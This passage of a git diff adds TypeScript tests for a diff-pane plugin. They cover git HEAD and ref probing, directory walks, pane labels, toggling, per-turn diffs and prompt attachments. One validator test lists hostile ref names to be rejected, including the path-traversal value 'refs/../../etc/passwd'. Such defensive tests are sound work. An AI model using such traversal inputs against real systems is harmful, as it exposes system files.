+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('datings-of', () => {
+ type Listing = ReadonlyMap<string, Git.EntryKind>
+
+ const LISTINGS: ReadonlyMap<string, Listing> = new Map<string, Listing>([
+ [
+ '/repo',
+ new Map([
+ ['a', 'dir'],
+ ['b', 'dir'],
+ ['c', 'dir'],
+ ['deep', 'dir'],
+ ]),
+ ],
+ ['/repo/a', new Map([['x', 'file']])],
+ ['/repo/b', new Map([['y', 'file']])],
+ ['/repo/c', new Map([['z', 'file']])],
+ [
+ '/repo/deep',
+ new Map([
+ ['x.ts', 'file'],
+ ['y.txt', 'file'],
+ ]),
+ ],
+ ])
+
+ function probeOf(budget: number) {
+ const listed: string[] = []
+ const statted: string[] = []
+
+ const probe = Git.stampProbeOf(
+ {
+ entryKindsOf: dir => {
+ listed.push(dir)
+
+ return Promise.resolve(LISTINGS.get(dir) ?? null)
+ },
+ mtimeOf: path => {
+ statted.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ '/repo',
+ budget,
+ )
+
+ return { probe, listed, statted }
+ }
+
+ const depsOf = (run: Git.GitRun, probe: Git.StampProbe): Git.GitDeps => ({
+ run,
+ repository: Fixtures.CHECKOUT,
+ mtimeOf: probe.mtimeOf,
+ entryKindsOf: () => Promise.resolve(null),
+ sessionStartMs: Fixtures.GIT_SESSION_START_MS,
+ onBranchBase: () => undefined,
+ })
+
+ function contextOf(probe: Git.StampProbe, listing: string) {
+ const { run } = Fixtures.scriptedGitOf({ 'ls-files': Fixtures.ok(listing) })
+
+ return { run, deps: depsOf(run, probe), stamps: probe }
+ }
+
+ test('a spent budget answers unlisted, and stats nothing there', async () => {
+ const recorded = probeOf(Fixtures.TWO_LISTINGS_BUDGET)
+
+ expect([
+ ...(await Git.datingsOf(
+ {
+ stamps: recorded.probe,
+ deps: { sessionStartMs: Fixtures.GIT_SESSION_START_MS },
+ },
+ ['a/x', 'b/y', 'c/z', 'missing'],
+ )),
+ ]).toEqual([
+ ['a/x', 'pre-session'],
+ ['b/y', 'unlisted'],
+ ['c/z', 'unlisted'],
+ ['missing', 'session'],
+ ])
+
+ expect(recorded.listed).toEqual(['/repo', '/repo/a'])
+ expect(recorded.statted).toEqual(['/repo/a/x'])
+ })
+
+ test('an unlisted tracked row stays session work', async () => {
+ const context = contextOf(probeOf(Fixtures.ROOT_ONLY_BUDGET).probe, '')
+ const rows = await Git.tagPreSession(context, [Fixtures.TRACKED_ROW])
+
+ expect(context.stamps.base).toBe('/repo')
+ expect(rows.map(row => row.isPreSession)).toEqual([false])
+ })
+
+ test('an unlisted untracked file reads as pre-session', async () => {
+ const context = contextOf(
+ probeOf(Fixtures.ROOT_ONLY_BUDGET).probe,
+ 'deep/y.txt\0',
+ )
+
+ const rows = await Git.untrackedFiles(context, {
+ slots: 1,
+ scope: 'with-pre-session',
+ })
+
+ expect(context.stamps.base).toBe('/repo')
+
+ expect(rows?.map(row => [row.path, row.isPreSession])).toEqual([
+ ['deep/y.txt', true],
+ ])
+ })
+})
diff --git a/mods/diff/tests/git/probes/head-key-of.test.ts b/mods/diff/tests/git/probes/head-key-of.test.ts
new file mode 100644
index 00000000..c9c0c7cb
--- /dev/null
+++ b/mods/diff/tests/git/probes/head-key-of.test.ts
@@ -0,0 +1,118 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../../hooks/git'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('head-key-of', () => {
+ type Recorded = {
+ deps: Git.HeadKeyDeps
+ statted: readonly string[]
+ read: readonly string[]
+ ran: readonly (readonly string[])[]
+ }
+
+ function recorded(
+ listings: Readonly<Record<string, ReadonlyMap<string, Git.EntryKind>>>,
+ head: string,
+ ): Recorded {
+ const statted: string[] = []
+ const read: string[] = []
+
+ const git = Fixtures.scriptedGitOf({
+ 'rev-parse': Fixtures.ok(`${Fixtures.HEAD_SHA}\n`),
+ })
+
+ const depsOf = (): Git.HeadKeyDeps => ({
+ run: git.run,
+ entryKindsOf: dir => Promise.resolve(listings[dir] ?? null),
+ mtimeOf: path => {
+ statted.push(path)
+
+ return Promise.resolve(Fixtures.STAMP)
+ },
+ readFile: path => {
+ read.push(path)
+
+ return Promise.resolve(head)
+ },
+ })
+
+ return { deps: depsOf(), statted, read, ran: git.argvs }
+ }
+
+ const plainGitDir: ReadonlyMap<string, Git.EntryKind> = new Map([
+ ['HEAD', 'file'],
+ ['packed-refs', 'file'],
+ ['refs', 'dir'],
+ ])
+
+ const refs: ReadonlyMap<string, Git.EntryKind> = new Map([['heads', 'dir']])
+ const heads: ReadonlyMap<string, Git.EntryKind> = new Map([['main', 'file']])
+
+ const healthy = {
+ '/r/.git': plainGitDir,
+ '/r/.git/refs': refs,
+ '/r/.git/refs/heads': heads,
+ }
+
+ test('a plain checkout reads HEAD, its ref file, packed-refs', async () => {
+ const probe = recorded(healthy, 'ref: refs/heads/main\n')
+ const key = await Git.headKeyOf(probe.deps, Fixtures.CHECKOUT)
+
+ expect(probe.statted).toEqual([
+ '/r/.git/HEAD',
+ '/r/.git/refs/heads/main',
+ '/r/.git/packed-refs',
+ ])
+
+ expect(key).toContain('refs/heads/main')
+ expect(probe.ran).toEqual([])
+ })
+
+ test('a climbing ref: is never stat-ed; git answers instead', async () => {
+ const probe = recorded(healthy, 'ref: ../../x\n')
+ const key = await Git.headKeyOf(probe.deps, Fixtures.CHECKOUT)
+
+ expect(probe.statted).toEqual([])
+ expect(key).toBe(`rev:${Fixtures.HEAD_SHA}`)
+ })
+
+ test('a HEAD that is a symbolic link is never read or stat-ed', async () => {
+ const probe = recorded(
+ {
+ ...healthy,
+ '/r/.git': new Map<string, Git.EntryKind>([
+ ['HEAD', 'other'],
+ ['packed-refs', 'file'],
+ ['refs', 'dir'],
+ ]),
+ },
+ 'ref: refs/heads/main\n',
+ )
+
+ const key = await Git.headKeyOf(probe.deps, Fixtures.CHECKOUT)
+
+ expect(probe.read).toEqual([])
+ expect(probe.statted).toEqual([])
+ expect(key).toBe(`rev:${Fixtures.HEAD_SHA}`)
+ })
+
+ test('a symlinked refs directory hides the ref file', async () => {
+ const probe = recorded(
+ {
+ ...healthy,
+ '/r/.git': new Map<string, Git.EntryKind>([
+ ['HEAD', 'file'],
+ ['refs', 'other'],
+ ]),
+ },
+ 'ref: refs/heads/main\n',
+ )
+
+ await Git.headKeyOf(probe.deps, Fixtures.CHECKOUT)
+
+ expect(probe.statted).toEqual(['/r/.git/HEAD'])
+ })
+})
diff --git a/mods/diff/tests/git/probes/is-safe-ref-name.test.ts b/mods/diff/tests/git/probes/is-safe-ref-name.test.ts
new file mode 100644
index 00000000..108a7f56
--- /dev/null
+++ b/mods/diff/tests/git/probes/is-safe-ref-name.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../../hooks/git'
+
+tier('builtin')
+
+describe('is-safe-ref-name', () => {
+ test('branch refs under refs/ pass', () => {
+ for (const ref of ['refs/heads/main', 'refs/heads/me/fh-diff_mod.2']) {
+ expect(Git.isSafeRefName(ref), ref).toBe(true)
+ }
+ })
+
+ test('climbing, absolute, backslashed, control or lock names fail', () => {
+ for (const ref of [
+ '',
+ 'refs/../../etc/passwd',
+ '/refs/heads/main',
+ 'refs\\heads\\main',
+ 'refs/heads/ma\u001bin',
+ 'refs/heads/main.lock',
+ 'refs/heads/.hidden',
+ 'heads/main',
+ 'refs//main',
+ ]) {
+ expect(Git.isSafeRefName(ref), ref).toBe(false)
+ }
+ })
+})
diff --git a/mods/diff/tests/git/probes/kind-walk-of.test.ts b/mods/diff/tests/git/probes/kind-walk-of.test.ts
new file mode 100644
index 00000000..40be0e05
--- /dev/null
+++ b/mods/diff/tests/git/probes/kind-walk-of.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../../hooks/git'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('kind-walk-of', () => {
+ const DEEP_PATH = Array.from({ length: Fixtures.WALK_DEPTH }, () => 'a').join(
+ '/',
+ )
+
+ function walkOf(budget: number) {
+ const listed: string[] = []
+
+ const walk = Git.kindWalkOf(
+ directory => {
+ listed.push(directory)
+
+ return Promise.resolve(new Map([['a', 'dir' as const]]))
+ },
+ '/repo',
+ budget,
+ )
+
+ return { walk, listed }
+ }
+
+ test('a fifty-thousand-deep path reads over-budget in budget', async () => {
+ const { walk, listed } = walkOf(Fixtures.WALK_BUDGET)
+
+ expect(await walk.kindOf(DEEP_PATH)).toBe('over-budget')
+ expect(listed.length).toBe(Fixtures.WALK_BUDGET)
+ })
+
+ test('a path within the budget reads its kind from its parent', async () => {
+ const { walk, listed } = walkOf(Fixtures.WALK_BUDGET)
+
+ expect(await walk.kindOf('a/a/a')).toBe('dir')
+ expect(await walk.kindOf('a/a/b')).toBe(null)
+ expect(listed).toEqual(['/repo', '/repo/a', '/repo/a/a'])
+ })
+})
diff --git a/mods/diff/tests/git/probes/repository-of.test.ts b/mods/diff/tests/git/probes/repository-of.test.ts
new file mode 100644
index 00000000..5689029f
--- /dev/null
+++ b/mods/diff/tests/git/probes/repository-of.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('repository-of', () => {
+ test('three absolute lines are the repository', async () => {
+ expect(await Fixtures.probedRepositoryOf(Fixtures.RESOLVED)).toEqual({
+ toplevel: '/r',
+ gitDir: '/r/.git/worktrees/w',
+ commonDir: '/r/.git',
+ })
+
+ expect(await Fixtures.probedRepositoryOf(Fixtures.WINDOWS)).toEqual({
+ toplevel: 'C:/r',
+ gitDir: 'C:/r/.git',
+ commonDir: 'C:/r/.git',
+ })
+ })
+
+ test('a git that echoes the flag, or a relative path: nothing', async () => {
+ expect(await Fixtures.probedRepositoryOf(Fixtures.ECHOED_FLAG)).toBeNull()
+ expect(await Fixtures.probedRepositoryOf(Fixtures.RELATIVE)).toBeNull()
+ expect(await Fixtures.probedRepositoryOf('')).toBeNull()
+ })
+})
diff --git a/mods/diff/tests/pane-state/base-label-of.test.ts b/mods/diff/tests/pane-state/base-label-of.test.ts
new file mode 100644
index 00000000..de29586c
--- /dev/null
+++ b/mods/diff/tests/pane-state/base-label-of.test.ts
@@ -0,0 +1,72 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../hooks/git'
+import PaneState from '../../hooks/pane-state'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('base-label-of', () => {
+ const dataIn = (
+ mode: Git.BaseMode,
+ source: Git.DiffSource,
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode,
+ stats: Fixtures.ONE_FILE,
+ files: [],
+ source,
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ })
+
+ const labelOf = (
+ mode: Git.BaseMode,
+ data: Git.DiffData | null,
+ filesCount: number,
+ ) =>
+ PaneState.baseLabelOf(
+ { requestedMode: mode, data, words: Git.GIT_WORDS },
+ filesCount,
+ )
+
+ test('settled session mode and no data show no line', () => {
+ expect(
+ labelOf('session', dataIn('session', Fixtures.WORKING_TREE), 1),
+ ).toBeNull()
+
+ expect(labelOf('branch', null, 0)).toBeNull()
+ })
+
+ test('settled pinned modes name their base', () => {
+ expect(
+ labelOf('uncommitted', dataIn('uncommitted', Fixtures.WORKING_TREE), 1),
+ ).toBe('uncommitted (vs HEAD)')
+
+ expect(labelOf('branch', dataIn('branch', Fixtures.VS_MAIN), 1)).toBe(
+ 'branch vs main',
+ )
+
+ expect(labelOf('branch', dataIn('branch', Fixtures.WORKING_TREE), 1)).toBe(
+ 'vs HEAD (no base branch)',
+ )
+ })
+
+ test('a working tree that names its own base shows that name', () => {
+ expect(
+ labelOf('uncommitted', dataIn('uncommitted', Fixtures.AT_SHA), 1),
+ ).toBe('uncommitted (vs 8634408015c1)')
+ })
+
+ test('a pending mode shows with an ellipsis, session too', () => {
+ expect(labelOf('branch', dataIn('session', Fixtures.WORKING_TREE), 1)).toBe(
+ 'branch diff…',
+ )
+
+ expect(labelOf('session', dataIn('branch', Fixtures.VS_MAIN), 1)).toBe(
+ 'this session…',
+ )
+ })
+})
diff --git a/mods/diff/tests/pane-state/empty-state-of.test.ts b/mods/diff/tests/pane-state/empty-state-of.test.ts
new file mode 100644
index 00000000..f362aa8a
--- /dev/null
+++ b/mods/diff/tests/pane-state/empty-state-of.test.ts
@@ -0,0 +1,93 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Git from '../../hooks/git'
+import PaneState from '../../hooks/pane-state'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('empty-state-of', () => {
+ const dataIn = (
+ mode: Git.BaseMode,
+ overrides: Partial<Git.DiffData> = {},
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode,
+ stats: Fixtures.NO_STATS,
+ files: [],
+ source: { kind: 'working-tree', base: 'HEAD' },
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ ...overrides,
+ })
+
+ test("the built-in's headlines, keyed on the fetched mode", () => {
+ expect(PaneState.emptyStateOf(null, 0, Git.GIT_WORDS)?.headline).toBe(
+ 'Diff unavailable',
+ )
+
+ expect(PaneState.emptyStateOf(dataIn('session'), 0, Git.GIT_WORDS)).toEqual(
+ {
+ headline: 'No changes this session',
+ hint: null,
+ },
+ )
+
+ expect(
+ PaneState.emptyStateOf(dataIn('uncommitted'), 0, Git.GIT_WORDS)?.headline,
+ ).toBe('No uncommitted changes')
+
+ expect(
+ PaneState.emptyStateOf(
+ dataIn('branch', { source: Fixtures.VS_MAIN }),
+ 0,
+ Git.GIT_WORDS,
+ )?.headline,
+ ).toBe('No changes vs main')
+
+ expect(PaneState.emptyStateOf(dataIn('branch'), 0, Git.GIT_WORDS)).toEqual({
+ headline: 'No changes vs HEAD',
+ hint: 'No base branch to compare against — showing changes vs HEAD',
+ })
+
+ expect(
+ PaneState.emptyStateOf(
+ dataIn('session', { isUnborn: true }),
+ 0,
+ Git.GIT_WORDS,
+ ),
+ ).toEqual({
+ headline: 'No commits yet',
+ hint: "Nothing to diff against until the repo's first commit",
+ })
+ })
+
+ test('with files to count there is no empty state', () => {
+ expect(
+ PaneState.emptyStateOf(dataIn('session'), 2, Git.GIT_WORDS),
+ ).toBeNull()
+ })
+
+ test('no tracked rows, untracked withheld: claims no more', () => {
+ const withheld = { isUntrackedWithheld: true }
+
+ expect(
+ PaneState.emptyStateOf(dataIn('session', withheld), 0, Git.GIT_WORDS)
+ ?.headline,
+ ).toBe('No tracked changes')
+
+ expect(
+ PaneState.emptyStateOf(
+ dataIn('session', { ...withheld, isUnborn: true }),
+ 0,
+ Git.GIT_WORDS,
+ )?.headline,
+ ).toBe('No tracked changes')
+
+ expect(
+ PaneState.emptyStateOf(dataIn('uncommitted', withheld), 1, Git.GIT_WORDS),
+ ).toBeNull()
+ })
+})
diff --git a/mods/diff/tests/pane-state/header-totals-of.test.ts b/mods/diff/tests/pane-state/header-totals-of.test.ts
new file mode 100644
index 00000000..615f6640
--- /dev/null
+++ b/mods/diff/tests/pane-state/header-totals-of.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import type Git from '../../hooks/git'
+import PaneState from '../../hooks/pane-state'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('header-totals-of', () => {
+ const dataOf = (
+ files: readonly Git.FileStat[],
+ filesCount: number,
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode: 'session',
+ stats: {
+ filesCount,
+ linesAdded: files.reduce((sum, each) => sum + each.added, 0),
+ linesRemoved: files.reduce((sum, each) => sum + each.removed, 0),
+ },
+ files,
+ source: { kind: 'working-tree', base: 'HEAD' },
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ })
+
+ test('pre-session rows leave the header; the rest is not shown', () => {
+ const data = dataOf(
+ [Fixtures.SESSION_ROW, Fixtures.PRE_SESSION_ROW],
+ Fixtures.REPORTED_COUNT,
+ )
+
+ expect(
+ PaneState.headerTotalsOf(
+ data,
+ PaneState.partitionOf(data.files, 'hidden'),
+ ),
+ ).toEqual({ filesCount: 3, linesAdded: 3, linesRemoved: 1, notShown: 2 })
+ })
+
+ test('every stored row pre-session: files past the cap still count', () => {
+ const stored = Array.from({ length: Fixtures.STORED_COUNT }, (_, at) => ({
+ ...Fixtures.PRE_SESSION_ROW,
+ path: `old${at}.ts`,
+ }))
+
+ const pastCap = Fixtures.PAST_CAP_COUNT - Fixtures.STORED_COUNT
+
+ expect(
+ PaneState.headerTotalsOf(
+ dataOf(stored, Fixtures.PAST_CAP_COUNT),
+ PaneState.partitionOf(stored, 'hidden'),
+ ),
+ ).toEqual({
+ filesCount: pastCap,
+ linesAdded: 0,
+ linesRemoved: 0,
+ notShown: pastCap,
+ })
+ })
+
+ test('tests count as noise and leave the shown rows', () => {
+ const partition = PaneState.partitionOf(
+ [Fixtures.SESSION_ROW, Fixtures.TEST_ROW],
+ 'hidden',
+ )
+
+ expect(partition.shown.map(each => each.path)).toEqual(['src/a.ts'])
+ expect(partition.noiseCount).toBe(1)
+ expect(PaneState.partitionOf(partition.shown, 'shown').noiseCount).toBe(0)
+ })
+})
diff --git a/mods/diff/tests/pane-toggle/pane-toggle-of.test.ts b/mods/diff/tests/pane-toggle/pane-toggle-of.test.ts
new file mode 100644
index 00000000..5531ca93
--- /dev/null
+++ b/mods/diff/tests/pane-toggle/pane-toggle-of.test.ts
@@ -0,0 +1,54 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Limits from '../../hooks/limits'
+import PaneToggle from '../../hooks/pane-toggle'
+
+tier('builtin')
+
+describe('pane-toggle-of', () => {
+ test('a pane believed open that still draws closes, however narrow', () => {
+ expect(
+ PaneToggle.paneToggleOf({
+ isBelievedOpen: true,
+ wasDrawnWhenProbed: true,
+ columns: Limits.OPEN_MIN_COLUMNS - 1,
+ }),
+ ).toBe('close')
+ })
+
+ test('below the panel width it is too narrow, from it it opens', () => {
+ expect(
+ PaneToggle.paneToggleOf({
+ isBelievedOpen: false,
+ wasDrawnWhenProbed: false,
+ columns: Limits.OPEN_MIN_COLUMNS - 1,
+ }),
+ ).toBe('too-narrow')
+
+ expect(
+ PaneToggle.paneToggleOf({
+ isBelievedOpen: false,
+ wasDrawnWhenProbed: false,
+ columns: Limits.OPEN_MIN_COLUMNS,
+ }),
+ ).toBe('open')
+
+ expect(
+ PaneToggle.paneToggleOf({
+ isBelievedOpen: false,
+ wasDrawnWhenProbed: false,
+ columns: null,
+ }),
+ ).toBe('open')
+ })
+
+ test('a pane the person closed reopens only where it fits', () => {
+ expect(
+ PaneToggle.paneToggleOf({
+ isBelievedOpen: true,
+ wasDrawnWhenProbed: false,
+ columns: Limits.OPEN_MIN_COLUMNS - 1,
+ }),
+ ).toBe('too-narrow')
+ })
+})
diff --git a/mods/diff/tests/register.test.ts b/mods/diff/tests/register.test.ts
index 13057d2c..35924ea1 100644
--- a/mods/diff/tests/register.test.ts
+++ b/mods/diff/tests/register.test.ts
@@ -1,6 +1,8 @@
+import type { Args } from 'claude-code'
import { describe, expect, mock, test, tier } from 'claude-code/testing'
import Limits from '../hooks/limits'
+import Names from '../hooks/names'
import Fixtures from './fixtures'
tier('builtin')
@@ -186,4 +188,200 @@ describe('register', () => {
expect(world.closed.map(pane => pane.id)).toEqual(['diff'])
})
+
+ test('ask attaches the hunks on screen and calls no tool', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+ const called: Args<'tool.call'>[] = []
+
+ on('tool.call', ($, e) => {
+ called.push(e)
+
+ return { result: 'called' }
+ })
+
+ on('prompt.submit', ($, e) => ({ text: e.text, context: e.context }))
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
+ await $.ui.press({ plugin: 'diff', key: 'ask' })
+ await world.clock.settle()
+
+ const armed = Fixtures.jsonOf(await $.ui.render(Fixtures.PANE))
+
+ const submitted = await $.prompt.submit(Fixtures.typedPromptOf('why?'))
+
+ expect(armed).toContain('asked ✓')
+ expect(called).toEqual([])
+
+ expect(world.statuses.at(-2)).toBe(
+ '.env rides your next prompt (press asked ✓ to drop it)',
+ )
+
+ expect(submitted).toMatchObject({
+ context: [
+ 'The user attached the diff of .env from the diff pane to this ' +
+ 'prompt:\n@@ -1 +1 @@\n-KEY=old\n+KEY=new',
+ ],
+ })
+ })
+
+ test('an ask with no room in the context is dropped', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+ const full = 'x'.repeat(Limits.PROMPT_CONTEXT_MAX_CHARS)
+ const reached: (readonly string[] | undefined)[] = []
+
+ on('prompt.submit', ($, e) => {
+ reached.push(e.context)
+
+ return { text: e.text }
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
+ await $.ui.press({ plugin: 'diff', key: 'ask' })
+ await world.clock.settle()
+
+ await $.prompt.submit(Fixtures.typedPromptOf('why?', [full]))
+ await $.prompt.submit(Fixtures.typedPromptOf('and now?'))
+
+ expect(reached).toEqual([[full], undefined])
+
+ expect(world.statuses.at(-1)).toBe(
+ ".env's diff did not fit in the prompt and was dropped",
+ )
+ })
+
+ test('a worktree opens on the base it kept', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret(), {
+ 'base:/main/wt': 'uncommitted',
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+
+ const base = Fixtures.elementIn(await $.ui.render(Fixtures.PANE), {
+ type: 'Select',
+ name: 'base',
+ })
+
+ expect(base?.props).toMatchObject({ value: 'uncommitted' })
+ })
+
+ test('a repository made later is pinned once, on /diff', async ($, on) => {
+ const { 'rev-parse --path-format=absolute': worktree = '', ...notYet } =
+ Fixtures.oneSecret()
+
+ const script: Record<string, string> = notYet
+ const world = Fixtures.inRepository(on, script)
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+
+ const before = await $.command.run(Fixtures.DIFF)
+
+ script['rev-parse --path-format=absolute'] = worktree
+
+ const after = await $.command.run(Fixtures.DIFF)
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
+
+ script['rev-parse --path-format=absolute'] = Fixtures.ELSEWHERE_LINES
+
+ const third = $.command.run(Fixtures.DIFF)
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await third
+
+ const probes = world.runs.filter(run =>
+ run.argv.includes('--show-toplevel'),
+ )
+
+ expect(before.text).toContain("isn't in a git repository")
+ expect(after).toEqual({})
+ expect(world.opened[0]?.id).toBe('diff')
+ expect(probes).toHaveLength(3)
+
+ expect(
+ world.runs.some(run => run.argv.includes('--git-dir=/else/.git')),
+ ).toBe(false)
+
+ expect(
+ world.runs
+ .filter(run => run.argv.includes('--numstat'))
+ .every(run => run.argv[1] === Fixtures.PINNED_LEAD[1]),
+ ).toBe(true)
+ })
+
+ test('a repository that appears later opens on first edit', async ($, on) => {
+ const { 'rev-parse --path-format=absolute': worktree = '', ...notYet } =
+ Fixtures.oneSecret()
+
+ const script: Record<string, string> = notYet
+ const world = Fixtures.inRepository(on, script)
+
+ on('tool.call', () => ({ result: 'edited' }))
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.ui.render(Fixtures.HINT)
+
+ script['rev-parse --path-format=absolute'] = worktree
+
+ await $.tool.call({
+ tool: 'Edit',
+ file_path: '/main/wt/.env',
+ old_string: 'old',
+ new_string: 'new',
+ })
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+
+ expect(world.opened.map(pane => pane.id)).toEqual(['diff'])
+ })
+
+ test('a git that cannot start is an answer, not a timeout', async ($, on) => {
+ const runs: Args<'process.run'>[] = []
+
+ Fixtures.startsSession(on)
+
+ on('process.run', ($, e) => {
+ runs.push(e)
+
+ return e.argv.includes('--show-toplevel')
+ ? { deny: Fixtures.FAILED_START }
+ : { value: Fixtures.gitIn(e.argv, Fixtures.oneSecret()) }
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+
+ const { text } = await $.command.run(Fixtures.DIFF)
+ const probes = runs.filter(run => run.argv.includes('--show-toplevel'))
+
+ expect(text).toContain("isn't in a git repository")
+ expect(probes, "the boot's, then this /diff's; no retry").toHaveLength(2)
+ })
+
+ test('/diff on a narrow terminal: the resize line', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.ui.render(Fixtures.hintAt(Limits.OPEN_MIN_COLUMNS - 1))
+
+ const narrow = await $.command.run(Fixtures.DIFF)
+ const openedNarrow = [...world.opened]
+
+ await $.ui.render(Fixtures.hintAt(Limits.OPEN_MIN_COLUMNS))
+ await $.command.run(Fixtures.DIFF)
+
+ expect(narrow.text).toContain(
+ 'Resize your terminal to at least 110 columns to show the diff panel',
+ )
+
+ expect(openedNarrow).toEqual([])
+ expect(world.opened.map(pane => pane.id)).toEqual([Names.PANE_ID])
+ })
})
diff --git a/mods/diff/tests/todos/todo-progress-of.test.ts b/mods/diff/tests/todos/todo-progress-of.test.ts
new file mode 100644
index 00000000..d5f8040c
--- /dev/null
+++ b/mods/diff/tests/todos/todo-progress-of.test.ts
@@ -0,0 +1,26 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Todos from '../../hooks/todos'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('todo-progress-of', () => {
+ test('the latest TodoWrite decides: completed over total', () => {
+ expect(
+ Todos.todoProgressOf([
+ Fixtures.todoWriteOf(['pending', 'pending']),
+ Fixtures.todoWriteOf(['completed', 'in_progress', 'pending']),
+ ]),
+ ).toEqual({ done: 1, total: 3 })
+ })
+
+ test('no TodoWrite yet reads as an empty list', () => {
+ expect(
+ Todos.todoProgressOf([{ role: 'user', text: 'hi', toolUses: [] }]),
+ ).toEqual({
+ done: 0,
+ total: 0,
+ })
+ })
+})
diff --git a/mods/diff/tests/turns/turn-diffs-of.test.ts b/mods/diff/tests/turns/turn-diffs-of.test.ts
new file mode 100644
index 00000000..0fcffddf
--- /dev/null
+++ b/mods/diff/tests/turns/turn-diffs-of.test.ts
@@ -0,0 +1,94 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Limits from '../../hooks/limits'
+import Turns from '../../hooks/turns'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('turn-diffs-of', () => {
+ test('turns with edits, newest first, numbered by prompt', () => {
+ const turns = Turns.turnDiffsOf([
+ Fixtures.promptOf('first'),
+ Fixtures.editsOf(Fixtures.editPatchOf(['-a', '+b'])),
+ Fixtures.toolResults(),
+ Fixtures.promptOf('second, nothing edited'),
+ Fixtures.promptOf('third turn with a long prompt that gets cut'),
+ Fixtures.editsOf(Fixtures.editPatchOf(['+c']), {
+ filePath: '/r/new.ts',
+ type: 'create',
+ content: 'x\ny',
+ }),
+ Fixtures.toolResults(),
+ ])
+
+ expect(turns.map(turn => turn.index)).toEqual([3, 1])
+ expect(turns[0]?.preview).toBe('third turn with a long prompt…')
+
+ expect(
+ turns[0]?.files.map(file => [
+ file.path,
+ file.added,
+ file.removed,
+ file.isNewFile,
+ ]),
+ ).toEqual([
+ ['/r/a.ts', 1, 0, false],
+ ['/r/new.ts', 2, 0, true],
+ ])
+
+ expect(turns[0]?.files[1]?.hunks).toEqual([
+ { oldStart: 0, newStart: 1, lines: ['+x', '+y'] },
+ ])
+
+ expect(turns[1]?.files.map(file => [file.added, file.removed])).toEqual([
+ [1, 1],
+ ])
+ })
+
+ test('a file edited twice in a turn: both hunks, summed', () => {
+ const [turn] = Turns.turnDiffsOf([
+ Fixtures.promptOf('go'),
+ Fixtures.editsOf(
+ Fixtures.editPatchOf(['+a']),
+ Fixtures.editPatchOf(['-b', '+c']),
+ ),
+ ])
+
+ expect(turn?.files).toHaveLength(1)
+ expect(turn?.files[0]?.hunks).toHaveLength(2)
+ expect([turn?.files[0]?.added, turn?.files[0]?.removed]).toEqual([2, 1])
+ })
+
+ test('results that are not file edits are ignored', () => {
+ expect(
+ Turns.turnDiffsOf([
+ Fixtures.promptOf('go'),
+ Fixtures.editsOf({ stdout: 'x' }, 'text', null),
+ ]),
+ ).toEqual([])
+ })
+
+ test('a big created file is cut at the line cap and says so', () => {
+ const [turn] = Turns.turnDiffsOf([
+ Fixtures.promptOf('write it'),
+ Fixtures.editsOf({
+ filePath: '/r/big.ts',
+ type: 'create',
+ content: Array.from(
+ { length: Fixtures.BIG_LINES },
+ (_, at) => `l${at}`,
+ ).join('\n'),
+ }),
+ ])
+
+ const file = turn?.files[0]
+
+ expect(file?.hunks.flatMap(hunk => hunk.lines)).toHaveLength(
+ Limits.MAX_LINES_PER_FILE,
+ )
+
+ expect(file?.isTruncated).toBe(true)
+ expect(file?.added).toBe(Fixtures.BIG_LINES)
+ })
+})
diff --git a/mods/diff/tests/views/detail/code-blocks-of.test.ts b/mods/diff/tests/views/detail/code-blocks-of.test.ts
new file mode 100644
index 00000000..7897cabb
--- /dev/null
+++ b/mods/diff/tests/views/detail/code-blocks-of.test.ts
